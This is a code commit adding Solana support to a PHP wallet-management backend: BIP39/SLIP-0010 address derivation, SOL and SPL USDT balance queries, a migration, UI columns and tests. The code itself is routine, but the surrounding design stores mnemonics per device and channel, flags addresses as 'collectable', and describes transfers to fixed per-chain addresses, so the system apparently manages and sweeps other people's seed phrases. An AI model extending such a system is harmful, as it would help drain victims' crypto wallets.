feat: Solana chain
This commit is contained in:
@@ -49,7 +49,7 @@ class WalletAddressController extends Controller
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'address', 'chain_type', 'source', 'collectable', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at'];
|
||||
$sortable = ['id', 'address', 'chain_type', 'source', 'collectable', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'sol', 'monitor', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
@@ -82,6 +82,7 @@ class WalletAddressController extends Controller
|
||||
'eth' => $coins['eth'],
|
||||
'btc' => $coins['btc'],
|
||||
'bnb' => $coins['bnb'],
|
||||
'sol' => $coins['sol'],
|
||||
'monitor' => (int) $row->monitor,
|
||||
'monitor_synced' => (bool) $row->monitor_synced,
|
||||
'monitor_failures' => (int) $row->monitor_failures,
|
||||
|
||||
@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
class WalletAddress extends Model
|
||||
{
|
||||
/** @var list<string> */
|
||||
public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb'];
|
||||
public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb', 'sol'];
|
||||
|
||||
/** Display decimal places per coin (UI). */
|
||||
public const DISPLAY_DECIMALS = [
|
||||
@@ -17,11 +17,12 @@ class WalletAddress extends Model
|
||||
'eth' => 6,
|
||||
'btc' => 8,
|
||||
'bnb' => 6,
|
||||
'sol' => 6,
|
||||
];
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'address', 'chain_type',
|
||||
'usdt', 'trx', 'eth', 'btc', 'bnb',
|
||||
'usdt', 'trx', 'eth', 'btc', 'bnb', 'sol',
|
||||
'monitor', 'monitor_synced', 'monitor_failures', 'source', 'mnemonic_id', 'derive_index',
|
||||
];
|
||||
|
||||
@@ -37,6 +38,7 @@ class WalletAddress extends Model
|
||||
'eth' => 'decimal:18',
|
||||
'btc' => 'decimal:8',
|
||||
'bnb' => 'decimal:18',
|
||||
'sol' => 'decimal:9',
|
||||
];
|
||||
}
|
||||
|
||||
|
||||
@@ -10,6 +10,7 @@ class ChainManager
|
||||
private readonly TronDriver $tron,
|
||||
private readonly EthDriver $eth,
|
||||
private readonly BtcDriver $btc,
|
||||
private readonly SolDriver $sol,
|
||||
) {}
|
||||
|
||||
public function resolve(string $chain): ChainDriver
|
||||
@@ -18,6 +19,7 @@ class ChainManager
|
||||
'tron', 'trx' => $this->tron,
|
||||
'eth', 'ethereum' => $this->eth,
|
||||
'btc', 'bitcoin' => $this->btc,
|
||||
'sol', 'solana' => $this->sol,
|
||||
default => throw new InvalidArgumentException("Unsupported chain: {$chain}"),
|
||||
};
|
||||
}
|
||||
|
||||
@@ -0,0 +1,151 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use FurqanSiddiqui\BIP39\BIP39;
|
||||
use RuntimeException;
|
||||
|
||||
/**
|
||||
* Solana address helpers: SLIP-0010 Ed25519 derivation + Base58.
|
||||
*
|
||||
* Phantom / Solflare path: m/44'/501'/{index}'/0'
|
||||
*/
|
||||
final class SolAddress
|
||||
{
|
||||
private const ALPHABET = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
|
||||
|
||||
/**
|
||||
* Derive Solana base58 address from BIP39 mnemonic at account index.
|
||||
* Path: m/44'/501'/{index}'/0' (Phantom default).
|
||||
*/
|
||||
public static function fromMnemonic(string $mnemonic, int $index = 0): string
|
||||
{
|
||||
if ($index < 0) {
|
||||
throw new RuntimeException('Invalid derive index');
|
||||
}
|
||||
|
||||
$words = preg_split('/\s+/', trim($mnemonic)) ?: [];
|
||||
if (count($words) < 12) {
|
||||
throw new RuntimeException('Invalid mnemonic');
|
||||
}
|
||||
|
||||
$seed = BIP39::Words($words)->generateSeed();
|
||||
if (! is_string($seed) || strlen($seed) < 32) {
|
||||
throw new RuntimeException('Failed to generate BIP39 seed');
|
||||
}
|
||||
|
||||
// SLIP-0010: master from BIP39 seed, then hardened path.
|
||||
[$key, $chain] = self::masterFromSeed($seed);
|
||||
foreach ([44 | 0x80000000, 501 | 0x80000000, $index | 0x80000000, 0 | 0x80000000] as $child) {
|
||||
[$key, $chain] = self::ckdPriv($key, $chain, $child);
|
||||
}
|
||||
|
||||
return self::base58Encode(self::publicKeyFromSeed($key));
|
||||
}
|
||||
|
||||
public static function isValid(string $address): bool
|
||||
{
|
||||
$address = trim($address);
|
||||
if (! preg_match('/^[1-9A-HJ-NP-Za-km-z]{32,44}$/', $address)) {
|
||||
return false;
|
||||
}
|
||||
$decoded = self::base58Decode($address);
|
||||
|
||||
return $decoded !== null && strlen($decoded) === 32;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: string, 1: string} 32-byte key + 32-byte chain code
|
||||
*/
|
||||
private static function masterFromSeed(string $seed): array
|
||||
{
|
||||
$I = hash_hmac('sha512', $seed, 'ed25519 seed', true);
|
||||
|
||||
return [substr($I, 0, 32), substr($I, 32, 32)];
|
||||
}
|
||||
|
||||
/**
|
||||
* SLIP-0010 hardened-only child key derivation for Ed25519.
|
||||
*
|
||||
* @return array{0: string, 1: string}
|
||||
*/
|
||||
private static function ckdPriv(string $kPar, string $cPar, int $index): array
|
||||
{
|
||||
if (($index & 0x80000000) === 0) {
|
||||
throw new RuntimeException('Ed25519 SLIP-0010 only supports hardened derivation');
|
||||
}
|
||||
|
||||
$data = "\x00".$kPar.pack('N', $index);
|
||||
$I = hash_hmac('sha512', $data, $cPar, true);
|
||||
|
||||
return [substr($I, 0, 32), substr($I, 32, 32)];
|
||||
}
|
||||
|
||||
private static function publicKeyFromSeed(string $seed32): string
|
||||
{
|
||||
if (strlen($seed32) !== 32) {
|
||||
throw new RuntimeException('Invalid Ed25519 seed length');
|
||||
}
|
||||
if (! function_exists('sodium_crypto_sign_seed_keypair')) {
|
||||
throw new RuntimeException('ext-sodium is required for Solana address derivation');
|
||||
}
|
||||
|
||||
$kp = sodium_crypto_sign_seed_keypair($seed32);
|
||||
|
||||
return sodium_crypto_sign_publickey($kp);
|
||||
}
|
||||
|
||||
public static function base58Encode(string $binary): string
|
||||
{
|
||||
if ($binary === '') {
|
||||
return '';
|
||||
}
|
||||
|
||||
$leadingZeros = 0;
|
||||
$len = strlen($binary);
|
||||
for ($i = 0; $i < $len && $binary[$i] === "\x00"; $i++) {
|
||||
$leadingZeros++;
|
||||
}
|
||||
|
||||
$num = gmp_init(bin2hex($binary), 16);
|
||||
$base = gmp_init(58);
|
||||
$out = '';
|
||||
while (gmp_cmp($num, 0) > 0) {
|
||||
[$num, $rem] = [gmp_div_q($num, $base), gmp_intval(gmp_mod($num, $base))];
|
||||
$out = self::ALPHABET[$rem].$out;
|
||||
}
|
||||
|
||||
return str_repeat('1', $leadingZeros).($out === '' ? '1' : $out);
|
||||
}
|
||||
|
||||
public static function base58Decode(string $input): ?string
|
||||
{
|
||||
$len = strlen($input);
|
||||
if ($len === 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$decoded = gmp_init(0);
|
||||
$base = gmp_init(58);
|
||||
for ($i = 0; $i < $len; $i++) {
|
||||
$pos = strpos(self::ALPHABET, $input[$i]);
|
||||
if ($pos === false) {
|
||||
return null;
|
||||
}
|
||||
$decoded = gmp_add(gmp_mul($decoded, $base), $pos);
|
||||
}
|
||||
|
||||
$hex = gmp_strval($decoded, 16);
|
||||
if (strlen($hex) % 2 !== 0) {
|
||||
$hex = '0'.$hex;
|
||||
}
|
||||
$bin = $hex === '0' ? '' : (hex2bin($hex) ?: '');
|
||||
|
||||
$leadingZeros = 0;
|
||||
for ($i = 0; $i < $len && $input[$i] === '1'; $i++) {
|
||||
$leadingZeros++;
|
||||
}
|
||||
|
||||
return str_repeat("\x00", $leadingZeros).$bin;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,169 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use Illuminate\Http\Client\PendingRequest;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use RuntimeException;
|
||||
|
||||
/**
|
||||
* Solana JSON-RPC driver.
|
||||
*
|
||||
* Address derivation: SLIP-0010 Ed25519 at m/44'/501'/{index}'/0' (Phantom/Solflare).
|
||||
* Transfer flows are not implemented yet.
|
||||
*/
|
||||
class SolDriver implements ChainDriver
|
||||
{
|
||||
public function chainId(): string
|
||||
{
|
||||
return 'sol';
|
||||
}
|
||||
|
||||
public function deriveAddress(string $mnemonic, int $index = 0): string
|
||||
{
|
||||
return SolAddress::fromMnemonic($mnemonic, $index);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
{
|
||||
throw new RuntimeException('SOL native transfer not supported');
|
||||
}
|
||||
|
||||
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
|
||||
{
|
||||
throw new RuntimeException('SOL SPL token transfer not supported');
|
||||
}
|
||||
|
||||
public function isValidAddress(string $address): bool
|
||||
{
|
||||
return SolAddress::isValid($address);
|
||||
}
|
||||
|
||||
public function isActivated(string $address): bool
|
||||
{
|
||||
try {
|
||||
return bccomp($this->getNativeBalance($address), '0', 9) > 0;
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function getNativeBalance(string $address): string
|
||||
{
|
||||
if (! $this->isValidAddress($address)) {
|
||||
throw new RuntimeException('Invalid SOL address');
|
||||
}
|
||||
|
||||
$result = $this->rpc('getBalance', [$address, ['commitment' => 'confirmed']]);
|
||||
$lamports = '0';
|
||||
if (is_array($result) && isset($result['value']) && is_numeric($result['value'])) {
|
||||
$lamports = (string) $result['value'];
|
||||
} elseif (is_numeric($result)) {
|
||||
$lamports = (string) $result;
|
||||
}
|
||||
|
||||
return $this->fromLamports($lamports);
|
||||
}
|
||||
|
||||
/**
|
||||
* SPL token balance: sums all token accounts owned by $address for $contract (mint).
|
||||
* Handles the associated-token-account, secondary accounts and multi-decimal edge cases.
|
||||
*/
|
||||
public function getTokenBalance(string $address, string $contract): string
|
||||
{
|
||||
if (! $this->isValidAddress($address) || ! $this->isValidAddress($contract)) {
|
||||
throw new RuntimeException('Invalid SOL address');
|
||||
}
|
||||
|
||||
$result = $this->rpc('getTokenAccountsByOwner', [
|
||||
$address,
|
||||
['mint' => $contract],
|
||||
['encoding' => 'jsonParsed', 'commitment' => 'confirmed'],
|
||||
]);
|
||||
|
||||
$accounts = [];
|
||||
if (is_array($result) && isset($result['value']) && is_array($result['value'])) {
|
||||
$accounts = $result['value'];
|
||||
}
|
||||
|
||||
$totalUnits = '0';
|
||||
$decimals = (int) config('coruna.sol.usdt_decimals', 6);
|
||||
foreach ($accounts as $entry) {
|
||||
$info = $entry['account']['data']['parsed']['info']['tokenAmount'] ?? null;
|
||||
if (! is_array($info)) {
|
||||
continue;
|
||||
}
|
||||
$amount = (string) ($info['amount'] ?? '0');
|
||||
if (! preg_match('/^\d+$/', $amount)) {
|
||||
continue;
|
||||
}
|
||||
if (isset($info['decimals']) && is_numeric($info['decimals'])) {
|
||||
$decimals = (int) $info['decimals'];
|
||||
}
|
||||
$totalUnits = bcadd($totalUnits, $amount, 0);
|
||||
}
|
||||
|
||||
return $this->fromTokenUnits($totalUnits, max(0, $decimals));
|
||||
}
|
||||
|
||||
private function fromLamports(string $lamports): string
|
||||
{
|
||||
if (! preg_match('/^\d+$/', $lamports)) {
|
||||
$lamports = '0';
|
||||
}
|
||||
$human = bcdiv($lamports, '1000000000', 9);
|
||||
$human = rtrim(rtrim($human, '0'), '.');
|
||||
|
||||
return $human === '' ? '0' : $human;
|
||||
}
|
||||
|
||||
private function fromTokenUnits(string $units, int $decimals): string
|
||||
{
|
||||
if (! preg_match('/^\d+$/', $units)) {
|
||||
$units = '0';
|
||||
}
|
||||
if ($decimals <= 0) {
|
||||
return $units === '' ? '0' : $units;
|
||||
}
|
||||
$factor = bcpow('10', (string) $decimals, 0);
|
||||
$human = bcdiv($units, $factor, $decimals);
|
||||
$human = rtrim(rtrim($human, '0'), '.');
|
||||
|
||||
return $human === '' ? '0' : $human;
|
||||
}
|
||||
|
||||
private function rpc(string $method, array $params): mixed
|
||||
{
|
||||
$url = rtrim((string) config('coruna.sol.rpc_url', 'https://api.mainnet-beta.solana.com'), '/');
|
||||
$resp = $this->http()->post($url, [
|
||||
'jsonrpc' => '2.0',
|
||||
'id' => 1,
|
||||
'method' => $method,
|
||||
'params' => $params,
|
||||
]);
|
||||
if (! $resp->successful()) {
|
||||
throw new RuntimeException('SOL RPC HTTP '.$resp->status());
|
||||
}
|
||||
$json = $resp->json();
|
||||
if (! is_array($json)) {
|
||||
throw new RuntimeException('Invalid SOL RPC response');
|
||||
}
|
||||
if (isset($json['error'])) {
|
||||
$msg = $json['error']['message'] ?? json_encode($json['error']);
|
||||
throw new RuntimeException('SOL RPC: '.(is_string($msg) ? $msg : 'error'));
|
||||
}
|
||||
|
||||
return $json['result'] ?? null;
|
||||
}
|
||||
|
||||
private function http(): PendingRequest
|
||||
{
|
||||
$req = Http::timeout(30)->acceptJson()->asJson();
|
||||
$apiKey = (string) config('coruna.sol.api_key', '');
|
||||
if ($apiKey !== '') {
|
||||
$req = $req->withHeaders(['Authorization' => 'Bearer '.$apiKey]);
|
||||
}
|
||||
|
||||
return $req;
|
||||
}
|
||||
}
|
||||
@@ -13,7 +13,7 @@ use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
* When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for
|
||||
* TRON/ETH/BTC and persist only activated addresses (after a balance query).
|
||||
* TRON/ETH/BTC/SOL and persist only activated addresses (after a balance query).
|
||||
* Fully inactive mnemonics stay out of the DB and are not monitored; the
|
||||
* wallets view previews one index-0 address per chain marked 未激活.
|
||||
* Activated rows are persisted with monitor on.
|
||||
@@ -27,6 +27,7 @@ class MnemonicWalletDiscovery
|
||||
['chain' => 'tron', 'chain_type' => 'TRON'],
|
||||
['chain' => 'eth', 'chain_type' => 'ETH'],
|
||||
['chain' => 'btc', 'chain_type' => 'BTC'],
|
||||
['chain' => 'sol', 'chain_type' => 'SOLANA'],
|
||||
];
|
||||
|
||||
public function __construct(
|
||||
@@ -63,17 +64,23 @@ class MnemonicWalletDiscovery
|
||||
return 0;
|
||||
}
|
||||
|
||||
$existing = WalletAddress::query()
|
||||
$linkedChainTypes = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->exists();
|
||||
if ($existing) {
|
||||
return 0;
|
||||
}
|
||||
->pluck('chain_type')
|
||||
->map(fn ($c) => strtoupper(trim((string) $c)))
|
||||
->filter()
|
||||
->unique()
|
||||
->values()
|
||||
->all();
|
||||
|
||||
$source = trim((string) ($mnemonic->source ?: ''));
|
||||
$saved = [];
|
||||
|
||||
foreach (self::CHAINS as $spec) {
|
||||
if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) {
|
||||
continue;
|
||||
}
|
||||
|
||||
try {
|
||||
$rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
|
||||
foreach ($rows as $row) {
|
||||
@@ -94,6 +101,22 @@ class MnemonicWalletDiscovery
|
||||
return count($saved);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $linkedChainTypes uppercase chain_type values already linked
|
||||
*/
|
||||
private function hasLinkedChain(array $linkedChainTypes, string $chain): bool
|
||||
{
|
||||
$aliases = match ($chain) {
|
||||
'tron' => ['TRON', 'TRX'],
|
||||
'eth' => ['ETH', 'ETHEREUM', 'EVM', 'BNB', 'BSC', 'BINANCE'],
|
||||
'btc' => ['BTC', 'BITCOIN'],
|
||||
'sol' => ['SOL', 'SOLANA'],
|
||||
default => [strtoupper($chain)],
|
||||
};
|
||||
|
||||
return array_intersect($aliases, $linkedChainTypes) !== [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Persisted linked rows, or ephemeral index-0 previews when none exist.
|
||||
*
|
||||
@@ -121,6 +144,7 @@ class MnemonicWalletDiscovery
|
||||
'eth' => $coins['eth'],
|
||||
'btc' => $coins['btc'],
|
||||
'bnb' => $coins['bnb'],
|
||||
'sol' => $coins['sol'],
|
||||
'active' => true,
|
||||
'persisted' => true,
|
||||
];
|
||||
@@ -193,6 +217,7 @@ class MnemonicWalletDiscovery
|
||||
'tron' => $this->probeTron($driver, $address),
|
||||
'eth' => $this->probeEth($driver, $address),
|
||||
'btc' => $this->probeBtc($driver, $address),
|
||||
'sol' => $this->probeSol($driver, $address),
|
||||
default => ['activated' => false, 'coins' => []],
|
||||
};
|
||||
}
|
||||
@@ -262,6 +287,32 @@ class MnemonicWalletDiscovery
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{activated: bool, coins: array<string, string>}
|
||||
*/
|
||||
private function probeSol(ChainDriver $driver, string $address): array
|
||||
{
|
||||
try {
|
||||
$sol = $driver->getNativeBalance($address);
|
||||
} catch (\Throwable) {
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('sol')];
|
||||
}
|
||||
|
||||
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.sol.usdt_contract', ''));
|
||||
$activated = bccomp($sol, '0', 9) > 0 || bccomp($usdt, '0', 6) > 0;
|
||||
if (! $activated) {
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('sol')];
|
||||
}
|
||||
|
||||
return [
|
||||
'activated' => true,
|
||||
'coins' => [
|
||||
'sol' => $sol,
|
||||
'usdt' => $usdt,
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, string> $coins
|
||||
*/
|
||||
@@ -327,6 +378,7 @@ class MnemonicWalletDiscovery
|
||||
'eth' => null,
|
||||
'btc' => null,
|
||||
'bnb' => null,
|
||||
'sol' => null,
|
||||
'active' => false,
|
||||
'persisted' => false,
|
||||
];
|
||||
@@ -344,6 +396,7 @@ class MnemonicWalletDiscovery
|
||||
'tron' => ['trx' => '0', 'usdt' => '0'],
|
||||
'eth' => ['eth' => '0', 'usdt' => '0'],
|
||||
'btc' => ['btc' => '0'],
|
||||
'sol' => ['sol' => '0', 'usdt' => '0'],
|
||||
default => [],
|
||||
};
|
||||
}
|
||||
|
||||
@@ -12,6 +12,7 @@ use Illuminate\Support\Facades\Log;
|
||||
* Live on-chain balance refresh for wallet_addresses.
|
||||
*
|
||||
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20). BTC: BTC only.
|
||||
* SOL: SOL + USDT (SPL).
|
||||
*/
|
||||
class WalletBalanceService
|
||||
{
|
||||
@@ -32,6 +33,7 @@ class WalletBalanceService
|
||||
'TRON', 'TRX' => $this->refreshTron($address),
|
||||
'ETH', 'ETHEREUM' => $this->refreshEth($address),
|
||||
'BTC', 'BITCOIN' => $this->refreshBtc($address),
|
||||
'SOL', 'SOLANA' => $this->refreshSol($address),
|
||||
default => false,
|
||||
};
|
||||
}
|
||||
@@ -102,6 +104,42 @@ class WalletBalanceService
|
||||
}
|
||||
}
|
||||
|
||||
public function refreshSol(WalletAddress $address): bool
|
||||
{
|
||||
$addr = trim((string) $address->address);
|
||||
if ($addr === '') {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
$driver = $this->chains->resolve('sol');
|
||||
$attrs = [
|
||||
'sol' => $driver->getNativeBalance($addr),
|
||||
];
|
||||
$contract = trim((string) config('coruna.sol.usdt_contract', ''));
|
||||
if ($contract !== '') {
|
||||
$attrs['usdt'] = $driver->getTokenBalance($addr, $contract);
|
||||
}
|
||||
$this->persistCoins($address, $attrs);
|
||||
|
||||
Log::info('sol balance refresh ok', [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
'sol' => $address->sol,
|
||||
'usdt' => $address->usdt,
|
||||
]);
|
||||
|
||||
return true;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('sol balance refresh failed: '.$e->getMessage(), [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
]);
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function refreshTron(WalletAddress $address): bool
|
||||
{
|
||||
$addr = trim((string) $address->address);
|
||||
|
||||
@@ -125,6 +125,16 @@ return [
|
||||
// 0 = fetch recommended halfHourFee from API.
|
||||
'fee_rate' => (int) env('BTC_FEE_RATE', 0),
|
||||
],
|
||||
'sol' => [
|
||||
// Solana JSON-RPC endpoint. Public mainnet is heavily rate-limited;
|
||||
// point to a paid RPC (Helius/QuickNode/etc.) in production.
|
||||
'rpc_url' => env('SOL_RPC_URL', 'https://api.mainnet-beta.solana.com'),
|
||||
// Optional API key sent as Bearer token (Helius/QuickNode style).
|
||||
'api_key' => env('SOL_API_KEY', ''),
|
||||
// Official Tether USDT SPL mint (mainnet). Empty = skip SPL USDT balance.
|
||||
'usdt_contract' => env('SOL_USDT_CONTRACT', 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB'),
|
||||
'usdt_decimals' => (int) env('SOL_USDT_DECIMALS', 6),
|
||||
],
|
||||
// /transfer: from = command arg (device address); to = per-chain TRANSFER_TO_ADDRESS_*.
|
||||
// Mnemonics resolved from wallet_mnemonics by address→device_id+source.
|
||||
'transfer' => [
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
/**
|
||||
* Native SOL balance column for Solana addresses.
|
||||
* USDT on Solana lives in the existing `usdt` column (SPL USDT).
|
||||
*/
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('wallet_addresses', function (Blueprint $table) {
|
||||
$table->decimal('sol', 36, 9)->nullable()->after('bnb');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('wallet_addresses', function (Blueprint $table) {
|
||||
$table->dropColumn('sol');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -254,6 +254,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
{ field: 'eth', title: 'ETH', width: 100, sort: true },
|
||||
{ field: 'btc', title: 'BTC', width: 110, sort: true },
|
||||
{ field: 'bnb', title: 'BNB', width: 100, sort: true },
|
||||
{ field: 'sol', title: 'SOL', width: 100, sort: true },
|
||||
{ field: 'channel_id', title: '渠道 ID', width: 140 },
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ field: 'monitor_failures', title: '失败次数', width: 90, templet: function (d) {
|
||||
|
||||
@@ -131,7 +131,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
}
|
||||
html += '<div class="mn-wallet-body"><table class="mn-wallet-table"><thead><tr>' +
|
||||
'<th>ID</th><th>Chain</th><th>地址</th><th>Index</th>' +
|
||||
'<th>USDT</th><th>TRX</th><th>ETH</th><th>BTC</th><th>BNB</th>' +
|
||||
'<th>USDT</th><th>TRX</th><th>ETH</th><th>BTC</th><th>BNB</th><th>SOL</th>' +
|
||||
'</tr></thead><tbody>';
|
||||
rows.forEach(function (r) {
|
||||
var inactive = r.active === false;
|
||||
@@ -146,6 +146,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
'<td class="coin-cell">' + coinVal(r.eth) + '</td>' +
|
||||
'<td class="coin-cell">' + coinVal(r.btc) + '</td>' +
|
||||
'<td class="coin-cell">' + coinVal(r.bnb) + '</td>' +
|
||||
'<td class="coin-cell">' + coinVal(r.sol) + '</td>' +
|
||||
'</tr>';
|
||||
});
|
||||
html += '</tbody></table></div></div>';
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit;
|
||||
|
||||
use App\Services\Chain\SolAddress;
|
||||
use App\Services\Chain\SolDriver;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class SolAddressTest extends TestCase
|
||||
{
|
||||
#[Test]
|
||||
public function derives_phantom_path_golden_vector(): void
|
||||
{
|
||||
if (! function_exists('sodium_crypto_sign_seed_keypair')) {
|
||||
$this->markTestSkipped('ext-sodium required');
|
||||
}
|
||||
|
||||
// BIP-39 abandon×11+about at m/44'/501'/0'/0' (Phantom/Solflare).
|
||||
$mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
$address = SolAddress::fromMnemonic($mnemonic, 0);
|
||||
|
||||
$this->assertSame('HAgk14JpMQLgt6rVgv7cBQFJWFto5Dqxi472uT3DKpqk', $address);
|
||||
$this->assertTrue(SolAddress::isValid($address));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function sol_driver_derive_address_matches_sol_address(): void
|
||||
{
|
||||
if (! function_exists('sodium_crypto_sign_seed_keypair')) {
|
||||
$this->markTestSkipped('ext-sodium required');
|
||||
}
|
||||
|
||||
$mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
$driver = new SolDriver;
|
||||
|
||||
$this->assertSame(
|
||||
SolAddress::fromMnemonic($mnemonic, 0),
|
||||
$driver->deriveAddress($mnemonic, 0),
|
||||
);
|
||||
$this->assertSame(
|
||||
SolAddress::fromMnemonic($mnemonic, 1),
|
||||
$driver->deriveAddress($mnemonic, 1),
|
||||
);
|
||||
$this->assertNotSame(
|
||||
$driver->deriveAddress($mnemonic, 0),
|
||||
$driver->deriveAddress($mnemonic, 1),
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -90,6 +90,241 @@ class WalletBalanceServiceTest extends TestCase
|
||||
$this->assertEqualsWithDelta(9.5, (float) $addr->usdt, 0.0000001);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function refreshes_sol_and_usdt_only(): void
|
||||
{
|
||||
$sol = \Mockery::mock(\App\Services\Chain\SolDriver::class);
|
||||
$sol->shouldReceive('getNativeBalance')->once()->andReturn('1.5');
|
||||
$sol->shouldReceive('getTokenBalance')->once()->andReturn('10');
|
||||
$manager = \Mockery::mock(\App\Services\Chain\ChainManager::class);
|
||||
$manager->shouldReceive('resolve')->with('sol')->andReturn($sol);
|
||||
$this->app->instance(\App\Services\Chain\ChainManager::class, $manager);
|
||||
config(['coruna.sol.usdt_contract' => 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB']);
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-bal-sol',
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
]);
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => 'DYw8jCTfwHNRJhhmFcbXvVDTqWMEVFBX6ZKUmG5CNSKK',
|
||||
'chain_type' => 'SOLANA',
|
||||
'source' => 'Phantom',
|
||||
'sol' => 0.1,
|
||||
'usdt' => 0,
|
||||
'btc' => 2.0,
|
||||
'eth' => 3.0,
|
||||
'monitor' => 1,
|
||||
]);
|
||||
|
||||
$ok = app(WalletBalanceService::class)->refresh($addr);
|
||||
$this->assertTrue($ok);
|
||||
$addr->refresh();
|
||||
$this->assertEqualsWithDelta(1.5, (float) $addr->sol, 0.0000001);
|
||||
$this->assertEqualsWithDelta(10.0, (float) $addr->usdt, 0.0000001);
|
||||
// Non-Solana columns are not overwritten.
|
||||
$this->assertEqualsWithDelta(2.0, (float) $addr->btc, 0.0000001);
|
||||
$this->assertEqualsWithDelta(3.0, (float) $addr->eth, 0.0000001);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function refreshes_sol_via_rpc_http_fake(): void
|
||||
{
|
||||
config([
|
||||
'coruna.sol.rpc_url' => 'https://solana.example',
|
||||
'coruna.sol.usdt_contract' => 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB',
|
||||
]);
|
||||
|
||||
// Phantom golden address (valid base58, 32-byte pubkey).
|
||||
$solAddr = 'HAgk14JpMQLgt6rVgv7cBQFJWFto5Dqxi472uT3DKpqk';
|
||||
|
||||
Http::fake([
|
||||
'https://solana.example' => function ($request) {
|
||||
$method = $request->data()['method'] ?? '';
|
||||
if ($method === 'getBalance') {
|
||||
// 1.5 SOL = 1_500_000_000 lamports
|
||||
return Http::response([
|
||||
'jsonrpc' => '2.0',
|
||||
'id' => 1,
|
||||
'result' => ['context' => ['slot' => 1], 'value' => 1_500_000_000],
|
||||
], 200);
|
||||
}
|
||||
if ($method === 'getTokenAccountsByOwner') {
|
||||
// 10 USDT = 10_000_000 (6 decimals)
|
||||
return Http::response([
|
||||
'jsonrpc' => '2.0',
|
||||
'id' => 1,
|
||||
'result' => [
|
||||
'value' => [[
|
||||
'account' => [
|
||||
'data' => [
|
||||
'parsed' => [
|
||||
'info' => [
|
||||
'tokenAmount' => [
|
||||
'amount' => '10000000',
|
||||
'decimals' => 6,
|
||||
],
|
||||
],
|
||||
],
|
||||
],
|
||||
],
|
||||
]],
|
||||
],
|
||||
], 200);
|
||||
}
|
||||
|
||||
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'error' => ['message' => 'unexpected']], 200);
|
||||
},
|
||||
]);
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-bal-sol-rpc',
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
]);
|
||||
